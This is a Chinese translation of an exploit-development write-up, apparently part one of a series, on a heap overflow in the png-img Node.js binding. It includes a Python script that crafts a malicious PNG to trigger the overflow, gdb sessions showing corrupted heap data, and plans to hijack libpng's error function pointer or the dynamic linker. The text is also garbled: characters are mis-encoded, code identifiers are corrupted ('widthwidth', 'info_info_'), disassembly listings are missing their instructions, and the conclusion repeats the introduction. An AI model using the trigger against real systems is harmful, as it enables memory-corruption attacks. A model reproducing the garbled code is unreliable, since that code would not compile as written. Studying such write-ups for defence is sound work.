在本文中，我們將深入地探討，在通過外部函數(shù)接口(Foreign Function Interface，F(xiàn)FI)將基于C/C++的庫“粘合”到解釋語言的過程中，安全漏洞是如何產(chǎn)生的。

從攻擊者角度看問題

從攻擊者的角度來看，了解我們可以控制什么，如何控制，以及我們可以影響什么，對于實現(xiàn)bug的可利用性至關(guān)重要。此外，可利用性還受到目標(biāo)代碼實際使用方式和地點的影響。

如果我們處理的是一個庫代碼中的bug，而這個庫可能被用在更大的軟件中，這就為我們作為攻擊者提供了各種額外的交互機會和影響力。此外，觸發(fā)bug的操作環(huán)境也非常重要。操作系統(tǒng)、系統(tǒng)的硬件以及它們的軟件生態(tài)系統(tǒng)都在各種配置中啟用了不同級別的系統(tǒng)級緩解措施。在一個操作系統(tǒng)上可以通過緩解措施阻止的漏洞可能在另一個操作系統(tǒng)上完全可以被利用。

在png-img案例中，假設(shè)我們面對的是最基本的攻擊環(huán)境：一個單一的Javascript文件，需要png-img包，然后用它來加載攻擊者提供的PNG文件。

var fs = require('fs'); 

PngImg = require('png-img'); 

var buf = fs.readFileSync('/home/anticomputer/trigger.png'); 

img = new PngImg(buf); 

大多數(shù)現(xiàn)代內(nèi)存破壞攻擊都需要對目標(biāo)進程內(nèi)存布局有所了解。因為我們正在重寫內(nèi)存，所以知道它們在原始內(nèi)存布局中的位置有助于我們構(gòu)造替代性的，但功能正常的內(nèi)存內(nèi)容，以供目標(biāo)進程使用。

作為攻擊者，他們希望濫用這些新的內(nèi)存內(nèi)容來欺騙涉及它們的算法來執(zhí)行對他們有利的操作。通常來說，攻擊者的目標(biāo)是執(zhí)行任意代碼或命令，但攻擊者的目標(biāo)也可能是更深奧的行為。例如，攻擊者也可能想要重寫身份驗證標(biāo)志，削弱隨機數(shù)生成器，或以其他方式顛覆軟件中的安全關(guān)鍵邏輯。除此之外，即使只是讓一個進程不可用，本身就可以成為目標(biāo)，因為它可能導(dǎo)致意想不到的安全影響。

由于缺乏內(nèi)存布局緩解措施，我們可以對給定的目標(biāo)二進制代碼及其相關(guān)的內(nèi)存布局進行盲目的假設(shè)，或者通過信息泄露來了解內(nèi)存布局。

信息泄露可以是簡單的，例如通過其他的或重新設(shè)計的bug來泄漏內(nèi)存的內(nèi)容，也可以是復(fù)雜的，例如使用基于計時或崩潰的探測方法來確定某個特定庫的進程內(nèi)存的某個部分可能存在的位置。需要注意的是，要想利用信息泄露來推進漏洞利用過程，通常需要與目標(biāo)流程進行反復(fù)交互。

由于在我們的single-shot場景中，我們將無法動態(tài)地了解目標(biāo)進程的內(nèi)存布局，因此，我們將不得不依靠運氣和有根據(jù)的猜測相結(jié)合的方式，在觸發(fā)內(nèi)存破壞時判斷內(nèi)存中的位置信息。

首先，我們需要找出針對目標(biāo)節(jié)點二進制文件必須處理的緩解措施。為此，我們可以使用GDB Enhanced Features(GEF)插件中提供的checksec命令。

我們可以看到，我們的目標(biāo)二進制文件并非一個位置無關(guān)的可執(zhí)行文件(Position Independent Executable，PIE)。這意味著，在同一平臺上每次運行這個特定的二進制文件時，Node可執(zhí)行文件的.text和.data段在內(nèi)存中的位置保持不變。這對我們的single-shot場景非常有幫助，因為這種知識給了我們一個進入可執(zhí)行代碼和程序數(shù)據(jù)已知位置的鉤子。如果我們測試平臺上的Node二進制文件被編譯成PIE，由于地址空間布局隨機化(ASLR)已經(jīng)推廣到了現(xiàn)代Linux上的PIE二進制文件，所以，在遠程的single-shot場景中對這個漏洞的實際利用會受到很大的阻礙。

如果我們沒有類似GEF的checksec這樣的工具可用，我們也可以直接使用file命令。由于PIE二進制文件就是類型為ET_DYN(共享對象文件)的Elf可執(zhí)行文件，所以，它們將會顯示為共享庫，而非PIE二進制文件則是ET_EXEC(可執(zhí)行文件)類型。例如，如果我們將非PIE Node二進制文件與我們測試平臺(x86_64 Ubuntu 18.04.4LTS)上的PIE bash二進制文件進行比較，則需要注意以下幾點：

anticomputer@dc1:~$ file /bin/bash 

/bin/bash: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=12f73d7a8e226c663034529c8dd20efec22dde54, stripped 

anticomputer@dc1:~$ file /usr/bin/node 

/usr/bin/node: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.18, BuildID[sha1]=ee756495e98cf6163ba85e13b656883fe0066062, with debug_info, not stripped進攻計劃 

現(xiàn)在，我們知道了相應(yīng)的操作環(huán)境，以及在嘗試?yán)寐┒磿r可能知道哪些內(nèi)存內(nèi)容，這樣的話，我們可以開始決定我們要用堆內(nèi)存控制技術(shù)來顛覆哪些算法了。

在這種情況下，會想到三個潛在的選擇，從特定于應(yīng)用程序到特定于平臺的范圍，具體如下所示：

我們可以攻擊在被破壞的堆內(nèi)存上運行的png-img和libpng邏輯

我們可以攻擊在被破壞的堆內(nèi)存上運行的Node.js解釋器邏輯

我們可以攻擊在被破壞的堆內(nèi)存上運行的系統(tǒng)庫

對我們而言，這三個選項中哪一個最有意義，主要取決于我們愿意為漏洞利用嘗試投入多少時間和精力。但是，就概念驗證級別的工作來說，我們需要采取最便捷的漏洞利用途徑。為了確定哪條路徑，我們必須跟該漏洞打交道，并進行一些動態(tài)分析。

構(gòu)造觸發(fā)器

到目前為止，我們已經(jīng)對很多事情進行了理論上的探討。例如，我們探討了攻擊者判斷某個bug是否值得利用時，會考慮哪些因素。既然我們已經(jīng)決定要嘗試?yán)胮ng-img bug，那么是時候開始鼓搗該bug本身了。

首先，讓我們歸納出這個bug的基本觸發(fā)條件：我們要創(chuàng)建一個PNG文件，用于觸發(fā)整數(shù)溢出，從而導(dǎo)致data_數(shù)組內(nèi)存分配不足，隨后用我們精心制作的PNG行數(shù)據(jù)覆蓋堆內(nèi)存。此外，在libpng的PNG分塊解析過程中，我們還必須通過一些校驗和檢查，這樣，我們的惡意PNG數(shù)據(jù)才能被順利接受，以進行后續(xù)處理。

PNG文件由一個PNG簽名和一系列PNG分塊組成。這些分塊可以進一步分解為：一個4字節(jié)的分塊長度、一個4字節(jié)的分塊類型、一個可變長度的分塊數(shù)據(jù)，以及一個4字節(jié)的分塊類型和數(shù)據(jù)的CRC校驗和。PNG中的第一個分塊是IHDR分塊，其中規(guī)定了圖像的寬度和高度。

回顧易受攻擊的png-img綁定代碼，我們可以發(fā)現(xiàn)圖像高度是我們需要控制的變量之一，它用于觸發(fā)整數(shù)溢出。另一個變量是一行的字節(jié)數(shù)。讓我們來看看png-img，以及隨后的libpng是如何從我們提供的PNG文件中填充這些數(shù)據(jù)的。

png-img中加載PNG數(shù)據(jù)的主要入口點是PngImg::PngImg構(gòu)造函數(shù)，其內(nèi)容如下所示：

PngImg::PngImg(const char* buf, const size_t bufLen) 

    : data_(nullptr) 

{ 

    memset(&info_, 0, sizeof(info_)); 

    PngReadStruct rs; 

    if(rs.Valid()) { 

        BufPtr bufPtr = {buf, bufLen}; 

        png_set_read_fn(rs.pngPtr, (png_voidp)&bufPtr, readFromBuf); 

[1] 

        ReadInfo_(rs); 

  

  

        InitStorage_(); 

        png_read_image(rs.pngPtr, &rowPtrs_[0]); 

    } 

} 

在[1]處，調(diào)用了ReadInfo_，它實際上是一個通過libpng的png_read_info函數(shù)填充大多數(shù)PNG信息的函數(shù)。

void PngImg::ReadInfo_(PngReadStruct& rs) { 

    png_read_info(rs.pngPtr, rs.infoPtr); 

    info_.width = png_get_image_width(rs.pngPtr, rs.infoPtr); 

    info_.height = png_get_image_height(rs.pngPtr, rs.infoPtr); 

    info_.bit_depth = png_get_bit_depth(rs.pngPtr, rs.infoPtr); 

    info_.color_type = png_get_color_type(rs.pngPtr, rs.infoPtr); 

    info_.interlace_type = png_get_interlace_type(rs.pngPtr, rs.infoPtr); 

    info_.compression_type = png_get_compression_type(rs.pngPtr, rs.infoPtr); 

    info_.filter_type = png_get_filter_type(rs.pngPtr, rs.infoPtr); 

    info_.rowbytes = png_get_rowbytes(rs.pngPtr, rs.infoPtr); 

    info_info_.pxlsize = info_.rowbytes / info_.width; 

} 

png_read_info將遍歷所有PNG分塊，提取與PNG圖像相關(guān)的信息，處理IHDR分塊，并調(diào)用png_handle_IHDR。

/* Read and check the IDHR chunk */ 

void /* PRIVATE */ 

png_handle_IHDR(png_structrp png_ptr, png_inforp info_ptr, png_uint_32 length) 

{ 

   png_byte buf[13]; 

   png_uint_32 width, height; 

   int bit_depth, color_type, compression_type, filter_type; 

   int interlace_type; 

  

  

   png_debug(1, "in png_handle_IHDR"); 

  

  

   if (png_ptr->mode & PNG_HAVE_IHDR) 

      png_chunk_error(png_ptr, "out of place"); 

  

  

   /* Check the length */ 

   if (length != 13) 

      png_chunk_error(png_ptr, "invalid"); 

  

  

   png_ptr->mode |= PNG_HAVE_IHDR; 

  

  

   png_crc_read(png_ptr, buf, 13); 

   png_crc_finish(png_ptr, 0); 

  

  

[1] 

   width = png_get_uint_31(png_ptr, buf); 

   height = png_get_uint_31(png_ptr, buf + 4); 

   bit_depth = buf[8]; 

   color_type = buf[9]; 

   compression_type = buf[10]; 

   filter_type = buf[11]; 

   interlace_type = buf[12]; 

  

  

   /* Set internal variables */ 

   png_ptr->widthwidth = width; 

   png_ptr->heightheight = height; 

   png_ptr->bit_depth = (png_byte)bit_depth; 

   png_ptr->interlaced = (png_byte)interlace_type; 

   png_ptr->color_type = (png_byte)color_type; 

#ifdef PNG_MNG_FEATURES_SUPPORTED 

   png_ptr->filter_type = (png_byte)filter_type; 

#endif 

   png_ptr->compression_type = (png_byte)compression_type; 

  

  

   /* Find number of channels */ 

   switch (png_ptr->color_type) 

   { 

      default: /* invalid, png_set_IHDR calls png_error */ 

      case PNG_COLOR_TYPE_GRAY: 

      case PNG_COLOR_TYPE_PALETTE: 

         png_ptr->channels = 1; 

         break; 

  

  

      case PNG_COLOR_TYPE_RGB: 

         png_ptr->channels = 3; 

         break; 

  

  

      case PNG_COLOR_TYPE_GRAY_ALPHA: 

         png_ptr->channels = 2; 

         break; 

  

  

      case PNG_COLOR_TYPE_RGB_ALPHA: 

         png_ptr->channels = 4; 

         break; 

   } 

  

  

   /* Set up other useful info */ 

   png_ptr->pixel_depth = (png_byte)(png_ptr->bit_depth * 

   png_ptr->channels); 

[2] 

   png_ptr->rowbytes = PNG_ROWBYTES(png_ptr->pixel_depth, png_ptr->width); 

   png_debug1(3, "bit_depth = %d", png_ptr->bit_depth); 

   png_debug1(3, "channels = %d", png_ptr->channels); 

   png_debug1(3, "rowbytes = %lu", (unsigned long)png_ptr->rowbytes); 

   png_set_IHDR(png_ptr, info_ptr, width, height, bit_depth, 

       color_type, interlace_type, compression_type, filter_type); 

} 

在[1]處，我們看到代碼從IHDR分塊數(shù)據(jù)中提取寬度和高度(整數(shù));在[2]處，我們看到它通過PNG_ROWBYTES宏導(dǎo)出rowbytes值，這是根據(jù)單個像素占用的位數(shù)將像素寬度簡單轉(zhuǎn)換為表示行所需的字節(jié)數(shù)。例如，對于8位像素，16像素的寬度意味著16 rowbytes。

我們還注意到png_ptr結(jié)構(gòu)體的填充處理，這是一個基于堆的libpng數(shù)據(jù)結(jié)構(gòu)，存放所有特定于PNG的數(shù)據(jù)。其中，包括各種函數(shù)指針，當(dāng)libpng對我們的PNG數(shù)據(jù)進行操作時，將調(diào)用這些指針。例如，當(dāng)libpng遇到錯誤時，它將調(diào)用png_error。

PNG_FUNCTION(void,PNGAPI 

png_error,(png_const_structrp png_ptr, png_const_charp error_message), 

   PNG_NORETURN) 

{ 

… 

[1] 

   if (png_ptr != NULL && png_ptr->error_fn != NULL) 

      (*(png_ptr->error_fn))(png_constcast(png_structrp,png_ptr), 

          error_message); 

  

  

   /* If the custom handler doesn't exist, or if it returns, 

      use the default handler, which will not return. */ 

   png_default_error(png_ptr, error_message); 

} 

在[1]處我們看到，如果png_ptr結(jié)構(gòu)體含有一個填充error_fn函數(shù)指針的字段，則調(diào)用該函數(shù)指針時會將png_ptr結(jié)構(gòu)體本身作為其第一個參數(shù)傳遞。

從攻擊者的角度來看，了解受影響的軟件如何與可能被我們控制的內(nèi)存進行交互是很重要的。在這種情況下，我們已經(jīng)確定libpng使用了一個基于堆的結(jié)構(gòu)體，它包含了函數(shù)指針，當(dāng)錯誤發(fā)生時，這些指針會被調(diào)用。作為一種重定向執(zhí)行的方法，這在我們的漏洞利用過程中可能會很有幫助，所以我們要注意這一點。

如果我們的漏洞利用過程需要破壞png_ptr結(jié)構(gòu)體，那么它就是濫用應(yīng)用程序特定堆數(shù)據(jù)的一個好例子。

長話短說，假設(shè)這里使用的是8位像素，我們可以控制直接通過圖像寬度得出的行字節(jié)值。因此，為了觸發(fā)png-img bug，我們只需要創(chuàng)建這樣一個有效的PNG文件：該文件包含的高度和寬度將觸發(fā)整數(shù)溢出，并提供足夠的行數(shù)據(jù)來覆蓋data_相鄰的堆內(nèi)存。

我們可以使用Python Pillow庫快速地進行演示：

from PIL import Image 

import os 

import struct 

import sys 

import zlib 

  

  

def patch(path, offset, data): 

    f = open(path, 'r+b') 

    f.seek(offset) 

    f.write(data) 

    f.close() 

  

  

trigger = 'trigger.png' 

row_data = b'A' * 0x100000 

width = 0x100 

height = int(len(row_data)/width) 

  

  

# create a template PNG with a valid height for our row_data 

im = Image.frombytes("L", (width, height), row_data) 

im.save(trigger, "PNG") 

  

  

# patch in a wrapping size to trigger overwrap and underallocation 

patch(trigger, 20, struct.pack('>L', 0x01000001)) 

  

  

# fix up the IHDR CRC so png_read_info doesn't freak out 

f = open(trigger, 'rb') 

f.seek(16) 

ihdr_data = f.read(13) 

f.close() 

crc = zlib.crc32(ihdr_data, zlib.crc32(b'IHDR') & 0xffffffff) & 0xffffffff 

patch(trigger, 29, struct.pack('>L', crc)) 

當(dāng)我們使用png-img加載生成的png文件時，將發(fā)生崩潰：

(gdb) r pngimg.js 

Starting program: /usr/bin/node pngimg.js 

[Thread debugging using libthread_db enabled] 

Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". 

[New Thread 0x7ffff6a79700 (LWP 60942)] 

[New Thread 0x7ffff6278700 (LWP 60943)] 

[New Thread 0x7ffff5a77700 (LWP 60944)] 

[New Thread 0x7ffff5276700 (LWP 60945)] 

[New Thread 0x7ffff4a75700 (LWP 60946)] 

[New Thread 0x7ffff7ff6700 (LWP 60947)] 

  

  

Thread 1 "node" received signal SIGSEGV, Segmentation fault. 

0x00007ffff7de4e52 in _dl_fixup (l=0x271f0a0, reloc_arg=285) at ../elf/dl-runtime.c:69 

69      ../elf/dl-runtime.c: No such file or directory. 

(gdb) x/i$pc 

=> 0x7ffff7de4e52 

(gdb) bt 

#0  0x00007ffff7de4e52 in _dl_fixup (l=0x271f0a0, reloc_arg=285) at ../elf/dl-runtime.c:69 

#1  0x00007ffff7dec81a in _dl_runtime_resolve_xsavec () at ../sysdeps/x86_64/dl-trampoline.h:125 

#2  0x00007ffff4032e63 in png_read_row () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node 

#3  0x00007ffff4034899 in png_read_image () 

   from /home/anticomputer/node_modules/png-img/build/Release/png_img.node 

#4  0x00007ffff40246d8 in PngImg::PngImg(char const*, unsigned long) () 

   from /home/anticomputer/node_modules/png-img/build/Release/png_img.node 

#5  0x00007ffff401e8fa in PngImgAdapter::New(Nan::FunctionCallbackInfo 

   from /home/anticomputer/node_modules/png-img/build/Release/png_img.node 

#6  0x00007ffff401e56f in Nan::imp::FunctionCallbackWrapper () 

   from /home/anticomputer/node_modules/png-img/build/Release/png_img.node 

... 

(gdb) i r rax 

rax            0x4141414141414141       4702111234474983745 

(gdb) 

我們看到，由于_dl_fixup對堆內(nèi)存進行了操作，而這些堆內(nèi)存被我們的行數(shù)據(jù)覆蓋，而行數(shù)據(jù)由大量的A字節(jié)(0x41)組成，所以我們崩潰了。

由此看來，有一些關(guān)鍵的進程會涉及我們控制的堆數(shù)據(jù)，于是就有了后來的崩潰。我們看到，在_dl_fixup中，崩潰前最后調(diào)用的libpng函數(shù)是png_read_row。

如果您沒忘記的話，我們最初的漏洞利用理論是，我們或許能夠破壞堆上的png_ptr數(shù)據(jù)，然后觸發(fā)一個bug，導(dǎo)致libpng調(diào)用我們提供給png_error的函數(shù)指針值——當(dāng)它用完行數(shù)據(jù)時。但是，我們沒有在png_error中崩潰，而是在_dl_fixup中崩潰了。

那么這是怎么回事呢?好吧，首先讓我們確定png_read_row實際上是在嘗試調(diào)用png_error。如果我們看一下png_read_row的反匯編輸出，我們會注意到以下內(nèi)容：

  0x00007ffff4032e45 

  0x00007ffff4032e4c 

  0x00007ffff4032e4f 

  0x00007ffff4032e54 

  0x00007ffff4032e5b 

  0x00007ffff4032e5e 

  0x00007ffff4032e63 

  0x00007ffff4032e6a 

  0x00007ffff4032e6d 

我們注意到，png_error是通過過程鏈接表(procedure linkage table)調(diào)用的。其中，第一個參數(shù)是通過RDI寄存器傳遞的png_ptr結(jié)構(gòu)體指針，第二個參數(shù)是通過RSI寄存器傳遞的錯誤消息。下面，讓我們在png_error@plt上設(shè)置斷點，看看會發(fā)生什么。

(gdb) break png_error@plt 

Breakpoint 1 at 0x7ffff401d980 

(gdb) r pngimg.js 

The program being debugged has been started already. 

Start it from the beginning? (y or n) y 

Starting program: /usr/bin/node pngimg.js 

[Thread debugging using libthread_db enabled] 

Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". 

[New Thread 0x7ffff6a79700 (LWP 60976)] 

[New Thread 0x7ffff6278700 (LWP 60977)] 

[New Thread 0x7ffff5a77700 (LWP 60978)] 

[New Thread 0x7ffff5276700 (LWP 60979)] 

[New Thread 0x7ffff4a75700 (LWP 60980)] 

[New Thread 0x7ffff7ff6700 (LWP 60981)] 

  

  

Thread 1 "node" hit Breakpoint 1, 0x00007ffff401d980 in png_error@plt () 

   from /home/anticomputer/node_modules/png-img/build/Release/png_img.node 

(gdb) bt 

#0  0x00007ffff401d980 in png_error@plt () 

   from /home/anticomputer/node_modules/png-img/build/Release/png_img.node 

#1  0x00007ffff4032e63 in png_read_row () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node 

… 

(gdb) x/s $rsi 

0x7ffff4066820: "Invalid attempt to read row data" 

(gdb) x/16x $rdi 

0x271f580:      0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41 

0x271f588:      0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41 

(gdb) 

到目前為止，一切都很好!我們確實在試圖用受控的png_ptr數(shù)據(jù)調(diào)用png_error。但我們?yōu)槭裁磿赺dl_fixup中崩潰，而不是獲得函數(shù)指針控制權(quán)呢?

好吧，png_error是一個致命的錯誤處理程序。由于這是第一次調(diào)用png_error，由于惰性鏈接的緣故，它實際上還沒有被解析和重定位。所以發(fā)生的情況是，過程鏈接表(PLT)中的指令會嘗試跳轉(zhuǎn)到png_error的全局偏移表(GOT)跳轉(zhuǎn)槽條目中包含的地址，但這個地址正好指向png_error PLT條目，該條目中包含的指令負責(zé)調(diào)用動態(tài)鏈接器的運行時解析器。

我們可以單步跟蹤這個過程，以便更好地理解它。

Thread 1 "node" hit Breakpoint 1, 0x00007ffff401d980 in png_error@plt () 

   from /home/anticomputer/node_modules/png-img/build/Release/png_img.node 

1: x/i $pc 

=> 0x7ffff401d980 

(gdb) x/gx 0x7ffff4274900 

0x7ffff4274900: 0x00007ffff401d986 

(gdb) si 

0x00007ffff401d986 in png_error@plt () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node 

1: x/i $pc 

=> 0x7ffff401d986 

(gdb) si 

0x00007ffff401d98b in png_error@plt () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node 

1: x/i $pc 

=> 0x7ffff401d98b 

(gdb) si 

0x00007ffff401c7a0 in ?? () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node 

1: x/i $pc 

=> 0x7ffff401c7a0:      pushq  0x257862(%rip)        # 0x7ffff4274008 

(gdb) si 

0x00007ffff401c7a6 in ?? () from /home/anticomputer/node_modules/png-img/build/Release/png_img.node 

1: x/i $pc 

=> 0x7ffff401c7a6:      jmpq   *0x257864(%rip)        # 0x7ffff4274010 

(gdb) si 

_dl_runtime_resolve_xsavec () at ../sysdeps/x86_64/dl-trampoline.h:71 

71      ../sysdeps/x86_64/dl-trampoline.h: No such file or directory. 

1: x/i $pc 

=> 0x7ffff7dec7a0 

(gdb) 

在這里，我們看到png_error@plt通過GOT跳轉(zhuǎn)槽跳回PLT的方式調(diào)用解析器。鏈接器負責(zé)解析和修復(fù)png_error的GOT跳轉(zhuǎn)槽，這樣以后的調(diào)用就會直接進入png_error的正確位置。簡單來說，這就是惰性鏈接(lazy linking)的工作原理。

png-img庫使用惰性鏈接進行按需符號解析的事實也告訴我們，它只啟用了部分重定位只讀(RELRO)機制。還記得之前講過的對Node.js二進制代碼進行的安全檢查嗎?它已經(jīng)啟用了完全的RELRO機制。當(dāng)完全啟用RELRO時，給定二進制文件的GOT部分被標(biāo)記為只讀，以防止攻擊者替換GOT中的函數(shù)指針值。完全RELRO意味著所有動態(tài)鏈接的函數(shù)都必須在二進制文件加載時由鏈接器解析和重新定位，因為已經(jīng)無法在運行時更新GOT。這是出于性能方面的考慮，因此，我們經(jīng)常會看到一些庫代碼因為這個原因而被編譯成部分RELRO。

所以總結(jié)一下，我們的base node二進制文件并不是一個PIE，并已經(jīng)啟用了完全的RELRO，而我們的目標(biāo)png-img庫啟用了部分RELRO。我們的堆溢出破壞了動態(tài)鏈接器用來解析png-img庫的函數(shù)的內(nèi)存，而且我們還覆蓋了png-img捆綁的libpng代碼使用的png_ptr應(yīng)用的特定數(shù)據(jù)。我們注意到，png_ptr是作為第一個參數(shù)傳遞給這個尚未解析的png_error函數(shù)的。

到目前為止，有兩條明顯的漏洞利用途徑。我們可以嘗試觸發(fā)獲取鏈接器數(shù)據(jù)的堆布局，并執(zhí)行劫持PNG_PTR函數(shù)指針的原始計劃，也可以嘗試破壞動態(tài)鏈接器解析器邏輯。

這就是事情變得有些不太確定的地方。我們的堆布局控制是基于我們提供給png-img的靜態(tài)PNG文件的。我們可以將data_數(shù)組分配為圖像寬度的倍數(shù)，因為該漏洞允許我們使用圖像的寬度和高度來觸發(fā)一個32位的整數(shù)溢出。

我們再來看看存在漏洞的代碼。

void PngImg::InitStorage_() { 

    rowPtrs_.resize(info_.height, nullptr); 

[1] 

    data_ = new png_byte[info_.height * info_.rowbytes]; 

  

  

[2] 

    for(size_t i = 0; i < info_.height; ++i) { 

        rowPtrs_[i] = data_ + i * info_.rowbytes; 

    } 

} 

在[1]處，data_將是通過整數(shù)溢出覆蓋的長度，這意味著我們可以使用height的低位字使data_size成為rowbytes的任意倍數(shù)。例如，如果希望data_為8字節(jié)，則可以將rowbytes設(shè)置為8，將height設(shè)置為((0xFFFFFFFF/8)+1)+1=0x20000001。

這意味著我們可以通過相當(dāng)精細的方式控制data_chunk的分配大小，從而合理地控制將其存放在堆中的位置。但是，在控制堆分配順序方面，我們沒有太多其他選擇。如果我們能夠更好的控制目標(biāo)進程中內(nèi)存的分配和釋放的方式和時間，那么我們可能還可以考慮攻擊系統(tǒng)分配器(glibc)本身。但是，考慮到我們受到緩解機制的諸多限制，如果對分配器沒有足夠的影響力的話，我們的PoC代碼的可靠性將無法滿足我們的最低要求。我們可以探索的一條途徑是，利用其他PNG分塊，以在觸發(fā)內(nèi)存破壞之前將堆“按摩”到一種有利的狀態(tài)——如果我們的最初探索最終陷入僵局，我們將保留它作為一種選擇。

作為開發(fā)人員，必須了解攻擊者將根據(jù)他們愿意花在漏洞利用上面的資源和時間來探索漏洞。即使對于相對簡單的漏洞(例如png-img堆溢出)，我們也看到有一個獨特的攻擊評估方案在起作用，它權(quán)衡了針對這里的代碼，各種攻擊策略的優(yōu)缺點。對于各種防御措施，要根據(jù)特定平臺和具體目標(biāo)這兩種角度進行考察。

小結(jié)

在本文中，我們將深入地探討，在通過外部函數(shù)接口(Foreign Function Interface，F(xiàn)FI)將基于C/C++的庫“粘合”到解釋語言的過程中，安全漏洞是如何產(chǎn)生的。由于篇幅過長，我們將分為多篇進行介紹，更多精彩內(nèi)容敬請期待!